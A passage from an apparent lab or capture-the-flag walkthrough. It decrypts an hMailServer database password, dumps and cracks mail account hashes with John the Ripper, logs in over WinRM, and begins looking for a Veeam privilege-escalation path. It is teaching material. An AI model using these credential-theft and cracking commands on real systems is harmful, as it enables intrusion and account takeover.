&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two interesting targets: &lt;strong&gt;hMailServer&lt;/strong&gt; (the mail server we already used) and &lt;strong&gt;Veeam&lt;/strong&gt; (enterprise backup software with known critical CVEs). We start with hMailServer.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Credential Extraction - hMailServer
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reading the config file
&lt;/h3&gt;

&lt;p&gt;We navigate into the hMailServer &lt;code&gt;Bin&lt;/code&gt; directory and read the INI config:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="err"&gt;PS&lt;/span&gt; &lt;span class="err"&gt;C:\Program&lt;/span&gt; &lt;span class="err"&gt;Files&lt;/span&gt; &lt;span class="err"&gt;(x86)\hMailServer\Bin&amp;gt;&lt;/span&gt; &lt;span class="err"&gt;type&lt;/span&gt; &lt;span class="err"&gt;hMailServer.INI&lt;/span&gt;

&lt;span class="nn"&gt;[Security]&lt;/span&gt;
&lt;span class="py"&gt;AdministratorPassword&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;8a53bc0c0c9733319e5ee28dedce038e&lt;/span&gt;

&lt;span class="nn"&gt;[Database]&lt;/span&gt;
&lt;span class="py"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;MSSQLCE&lt;/span&gt;
&lt;span class="py"&gt;Password&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;4e9989caf04eaa5ef87fd1f853f08b62&lt;/span&gt;
&lt;span class="py"&gt;PasswordEncryption&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;span class="py"&gt;Database&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;hMailServer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;Password&lt;/code&gt; field is encrypted with hMailServer's Blowfish-based encryption (&lt;code&gt;PasswordEncryption=1&lt;/code&gt;). The database type &lt;code&gt;MSSQLCE&lt;/code&gt; tells us it's a SQL Server Compact Edition &lt;code&gt;.sdf&lt;/code&gt; file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the database file
&lt;/h3&gt;

&lt;p&gt;We use a recursive search to locate the &lt;code&gt;.sdf&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nx"&gt;\hMailServer\Bin&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;sdf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Directory:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Program&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Files&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nx"&gt;\hMailServer\Database&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nt"&gt;-a&lt;/span&gt;&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="n"&gt;/26/2026&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;675840&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;hMailServer.sdf&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Database confirmed at &lt;code&gt;C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Decrypting the database password
&lt;/h3&gt;

&lt;p&gt;On our attacker machine, we use &lt;a href="https://github.com/GitMirar/hMailDatabasePasswordDecrypter" rel="noopener noreferrer"&gt;hMailDatabasePasswordDecrypter&lt;/a&gt; — a tool that reverses hMailServer's known encryption:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/GitMirar/hMailDatabasePasswordDecrypter
&lt;span class="nb"&gt;cd &lt;/span&gt;hMailDatabasePasswordDecrypter
make
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x decrypt
./decrypt 4e9989caf04eaa5ef87fd1f853f08b62
95C02068FD5D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The decrypted database password is &lt;strong&gt;&lt;code&gt;95C02068FD5D&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Finding the right SqlServerCe DLL
&lt;/h3&gt;

&lt;p&gt;To open the &lt;code&gt;.sdf&lt;/code&gt; from PowerShell we need &lt;code&gt;System.Data.SqlServerCe.dll&lt;/code&gt;. We search for available versions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files*"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Recurse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Data.SqlServerCe.dll&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both v3.5 and v4.0 are present under &lt;code&gt;C:\Program Files\Microsoft SQL Server Compact Edition\&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Opening the database
&lt;/h3&gt;

&lt;p&gt;First, we copy the &lt;code&gt;.sdf&lt;/code&gt; to a writable location — the original is locked by the running hMailServer service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Copy-Item&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\temp\&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We try v4.0 first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-Type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files\Microsoft SQL Server Compact Edition\v4.0\Desktop\System.Data.SqlServerCe.dll"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Data.SqlServerCe.SqlCeConnection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ConnectionString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exception: "The database file has been created by an earlier version of SQL Server Compact.
Please upgrade using SqlCeEngine.Upgrade() method."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Version mismatch. We start a &lt;strong&gt;fresh PowerShell session&lt;/strong&gt; (to avoid DLL conflicts) and load &lt;strong&gt;v3.5&lt;/strong&gt; instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-Type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Microsoft SQL Server Compact Edition\v3.5\Desktop\System.Data.SqlServerCe.dll"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Data.SqlServerCe.SqlCeConnection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ConnectionString&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Data Source=C:\temp\hMailServer.sdf;Password=95C02068FD5D"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Open&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Open&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Querying for credentials
&lt;/h3&gt;

&lt;p&gt;We list all tables to understand the schema:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CreateCommand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CommandText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SELECT table_name FROM information_schema.tables"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ExecuteReader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;()){&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;hm_accounts&lt;/span&gt;
&lt;span class="n"&gt;hm_domains&lt;/span&gt;
&lt;span class="n"&gt;hm_messages&lt;/span&gt;
&lt;span class="n"&gt;hm_rules&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt; &lt;span class="n"&gt;tables&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snipped&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;hm_accounts&lt;/code&gt; is the target. Rather than guessing column names, we enumerate them directly from the reader:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CommandText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM hm_accounts"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ExecuteReader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FieldCount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;accountid&lt;/span&gt;
&lt;span class="n"&gt;accountaddress&lt;/span&gt;
&lt;span class="n"&gt;accountpassword&lt;/span&gt;
&lt;span class="n"&gt;accountpwencryption&lt;/span&gt;
&lt;span class="n"&gt;accountactive&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="n"&gt;columns&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;snipped&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We care about &lt;code&gt;accountaddress&lt;/code&gt; and &lt;code&gt;accountpassword&lt;/code&gt;. We extract just those:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CommandText&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SELECT accountaddress, accountpassword FROM hm_accounts"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$cmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ExecuteReader&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;()){&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;$r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Julian@job2.vl    : 8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl : 04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl        : 1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three accounts - Julian (us), Ferdinand, and the HR bot.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cracking with John the Ripper
&lt;/h3&gt;

&lt;p&gt;hMailServer uses &lt;code&gt;sha256($salt.$password)&lt;/code&gt; - John the Ripper recognises this as the &lt;code&gt;hMailServer&lt;/code&gt; format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; users.hash &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
Julian@job2.vl:8981c81abda0acadf1d12dd9d213bac7c51c022a34268058af3757607075e0eb49f76f
Ferdinand@job2.vl:04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
hr@job2.vl:1a5adad158ccffd81db73db040c72109067add598fafc47bbbd92da9a69661af94f055
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;john users.hash &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Loaded 3 password hashes with 3 different salts (hMailServer [sha256($&lt;/span&gt;s.&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="o"&gt;)])&lt;/span&gt;
&lt;span class="go"&gt;Franzi123!       (Ferdinand@job2.vl)
1g 0:00:00:05 DONE
Session completed.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ferdinand's password is &lt;strong&gt;&lt;code&gt;Franzi123!&lt;/code&gt;&lt;/strong&gt;. The other two hashes didn't crack against rockyou.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Lateral Movement to Ferdinand (User Flag)
&lt;/h2&gt;

&lt;p&gt;We verify the credentials work for WinRM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nxc winrm &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Ferdinand &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Franzi123!'&lt;/span&gt;
WINRM  &amp;lt;TARGET_IP&amp;gt;  5985  JOB2  &lt;span class="o"&gt;[&lt;/span&gt;+] JOB2&lt;span class="se"&gt;\F&lt;/span&gt;erdinand:Franzi123! &lt;span class="o"&gt;(&lt;/span&gt;Pwn3d!&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect with Evil-WinRM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Ferdinand &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'Franzi123!'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;Evil-WinRM&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\Ferdinand\Desktop&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;REDACTED&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ferdinand is in &lt;code&gt;Remote Management Users&lt;/code&gt; but has no elevated privileges — we need another path to SYSTEM.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Privilege Escalation - CVE-2023-27532 (Veeam)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Discovery
&lt;/h3&gt;

&lt;p&gt;We spotted &lt;code&gt;Veeam&lt;/code&gt; in &lt;code&gt;Program Files (x86)&lt;/code&gt; earlier, but that only contains the agent components (&lt;code&gt;Backup Transport&lt;/code&gt;, &lt;code&gt;vPowerNFS&lt;/code&gt;). The full Veeam Backup &amp;amp; Replication server lives in &lt;code&gt;Program Files&lt;/code&gt; (64-bit).&lt;/p&gt;

&lt;p&gt;I Googled &lt;strong&gt;"how to find version of Veeam Backup and Replication from PowerShell"&lt;/strong&gt; and found you can read the file version from the console executable using &lt;code&gt;[System.Diagnostics.FileVersionInfo]&lt;/code&gt;. First attempt used the wrong path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.FileVersionInfo&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;GetVersionInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\Veeam\Backup and Replication\Console\veeam.backup.shell.exe"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileVersion&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Exception: FileNotFoundException
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Correcting to the 64-bit path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
